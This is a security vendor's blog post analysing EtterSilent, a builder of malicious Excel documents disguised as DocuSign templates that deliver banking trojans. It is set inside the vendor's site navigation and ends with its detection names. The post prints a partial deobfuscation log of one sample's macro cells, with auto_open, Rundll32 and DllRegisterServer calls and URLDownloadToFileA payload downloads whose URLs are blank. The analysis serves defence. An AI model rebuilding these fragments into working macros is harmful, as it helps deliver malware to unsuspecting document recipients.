Accelerate your SSE journey. Join Netskope at RSA.

  • Security Service Edge Products

    Protect against advanced and cloud-enabled threats and safeguard data across all vectors.

  • Borderless SD-WAN

    Confidently provide secure, high-performance access to every remote user, device, site, and cloud.

  • Platform

    Unrivaled visibility and real-time data and threat protection on the world's largest security private cloud.

Netskope Named a Leader in the 2022 Gartner Magic Quadrant™ for SSE Report

Get the report Go to Products Overview
Netskope gartner mq 2022 sse leader
Gartner® Quick Answer: How Does Netskope’s Acquisition of Infiot Impact SD-WAN, SASE, and SSE Projects?

Get the report
Gartner quick answer
Netskope delivers a modern cloud security stack, with unified capabilities for data and threat protection, plus secure private access.

Explore our platform
Birds eye view metropolitan city
Make the move to market-leading cloud security services with minimal latency and high reliability.

Learn more
Lighted highway through mountainside switchbacks
Prevent threats that often evade other security solutions using a single-pass SSE framework.

Learn more
Lighting storm over metropolitan area
Zero trust solutions for SSE and SASE deployments

Learn more
Boat driving through open sea
Netskope enables a safe, cloud-smart, and fast journey to adopt cloud services, apps, and public cloud infrastructure.

Learn more
Wind turbines along cliffside
  • Our Customers

    Netskope serves more than 2,000 customers worldwide including more than 25 of the Fortune 100

  • Customer Solutions

    We are here for you and with you every step of the way, ensuring your success with Netskope.

  • Training and Certification

    Netskope training will help you become a cloud security expert.

We help our customers to be Ready for Anything

See our Customers
Woman smiling with glasses looking out window
Netskope’s talented and experienced Professional Services team provides a prescriptive approach to your successful implementation.

Learn more
Netskope Professional Services
Secure your digital transformation journey and make the most of your cloud, web, and private applications with Netskope training.

Learn more
Group of young professionals working
  • Resources

    Learn more about how Netskope can help you secure your journey to the cloud.

  • Blog

    Learn how Netskope enables security and networking transformation through security service edge (SSE).

  • Events & Workshops

    Stay ahead of the latest security trends and connect with your peers.

  • Security Defined

    Everything you need to know in our cybersecurity encyclopedia.

Security Visionaries Podcast

Episode 10: Building Security Relationships Through Transparency
In this episode, Mike and Andreas discuss aligning with works councils, forging business relationships through transparency, and embedding security into value streams.

Play the podcast
Building Security Relationships Through Transparency
Read the latest on how Netskope can enable the Zero Trust and SASE journey through security service edge (SSE) capabilities.

Read the blog
Sunrise and cloudy sky
Netskope at RSA

Join Netskope at RSA Conference this year and be part of the real conversations on SASE and Zero Trust. Stop by our booth in South Hall, chat with an expert, register for our speaking sessions, and unwind by joining us at one of our events!

Learn more
RSA logo
What is Security Service Edge?

Explore the security side of SASE, the future of network and protection in the cloud.

Learn more
Four-way roundabout
  • Company

    We help you stay ahead of cloud, data, and network security challenges.

  • Why Netskope

    Cloud transformation and work from anywhere have changed how security needs to work.

  • Leadership

    Our leadership team is fiercely committed to doing everything it takes to make our customers successful.

  • Partners

    We partner with security leaders to help you secure your journey to the cloud.

Netskope enables the future of work.

Find out more
Curvy road through wooded area
Netskope is redefining cloud, data, and network security to help organizations apply Zero Trust principles to protect data.

Learn more
Switchback road atop a cliffside
Thinkers, builders, dreamers, innovators. Together, we deliver cutting-edge cloud security solutions to help our customers protect their data and people.

Meet our team
Group of hikers scaling a snowy mountain
Netskope’s partner-centric go-to-market strategy enables our partners to maximize their growth and profitability while transforming enterprise security.

Learn more
Group of diverse young professionals smiling

Netskope Threat Coverage: EtterSilent

Apr 14 2021

Co-authored by Dagmawi Mulugeta and Ghanashyam Satpathy


Intel 471 researchers have identified a new malicious document builder, dubbed “EtterSilent,” leveraged by various threat actor groups. One of the build options is a weaponized Microsoft Office document (maldoc) that uses malicious macros to download and execute an externally hosted payload. The maldocs pose as templates for DocuSign, a cloud-based electronic signature service. Attackers aim to capitalize on the popularity of DocuSign and the trust that victims may place on inbound DocuSign emails. Mimicking popular cloud services and using maldocs for malware delivery are common tactics used by cybercriminals. Maldocs account for 20% of malicious content detected on the Netskope Security Cloud platform.

EtterSilent was used in a recent Trickbot campaign where the maldoc was attached in an email that pretended to be a payment invoice posing as Docusign or Digicert document. On March 19, 2021, Intel 471 identified that EtterSilent was used as part of a Bazar loader campaign to download the Bazar backdoor. Other banking trojans—IcedId, BokBot, Gozi ISFB, and Qakbot/QBot—have also used EtterSilent in conjunction with their schemes. The researchers outline that as the builder has grown in popularity, it is constantly updated to avoid detection. 


EtterSilent uses Excel 4.0 macros stored inside a hidden sheet, instead of VBA macros. A screenshot of one sample (2baf563da8db9e2ed765fa7697025d277d06ee53424f6513671f2f6b7441387b) from Intel 471’s blog can be seen below, prompting victims to click “Enable Content” and run the malicious macro code.

Screenshot of one sample excel sheet from Intel 471 blog.

A cell from the sample sheet containing some malicious Excel 4.0 macro code can be seen in the screenshot below.

A cell from the sample sheet containing some malicious Excel 4.0 macro code.

A partial evaluation and deobfuscation of the Excel macro reveals references to Rundll32and the RegisterServer API, as well as downloads of additional malicious payloads.

[Loading Cells]
auto_open: auto_open->sheet1!$AO$168
[Starting Deobfuscation]
CELL:AO262     , FullEvaluation      , "2021-04-13 11:33:34.016878.dat"
CELL:AO264     , FullEvaluation      , FORMULA("Rundll32 ",AP264)
CELL:AO265     , FullEvaluation      , FORMULA(",DllRegisterServer",AP265)
CELL:AO271     , FullEvaluation      , "REGISTER(""U""&AL99&AL100&AK117&AL110&AL104,""U""&AL99&AL100&AL101&AL102&AL103&AL104&AL105&AL106&AL107&AL108&AL109&AL110&AL111&AL112&AL113&AL114&AL115,AK105&AK106&AK107&AK108&AK109&AK110,AK112,,1.0,9.0)"
CELL:AO272     , PartialEvaluation   , URLMon.URLDownloadToFileA(0," 11:33:34.016878.dat","..\SOT.GOT",0,0)
CELL:AO273     , PartialEvaluation   , URLMon.URLDownloadToFileA(0," 11:33:34.016878.dat","..\SOT.GOT1",0,0)
CELL:AO274     , PartialEvaluation   , URLMon.URLDownloadToFileA(0," 11:33:34.016878.dat","..\SOT.GOT2",0,0)
Error: Cell addresss, Syntax Error
[END of Deobfuscation]


Netskope Advanced Threat Protection provides proactive coverage against maldocs using multiple layers of protection, including signature-based detection, a custom Microsoft Office analyzer, and a cloud sandbox to detect both existing and novel maldoc threats.

  • Gen.Malware.Detect.By.Sandbox indicates a sample that was detected by Netskope’s cloud sandbox
  • Gen.Malware.Detect.By.StHeur indicates a sample that was detected by one of Netskope’s static analysis engines 
  • Gen.Malware.Detect.By.StHeur.MsOffice indicates a sample that was detected by Netskope’s static ML Microsoft Office analyzer engine

Netskope Threat Labs is actively monitoring threats that use malicious Office documents and will continue to provide updates on this threat as it evolves. A full list of IOCs can be found in Intel 471’s blog post.

author image
Dagmawi Mulugeta
Dagmawi Mulugeta is a security researcher with interests in cloud security, incident analysis & prediction, exploit development, and large-scale data analysis. He currently focuses on the abuse of cloud apps and analysis of threat actors in the cloud.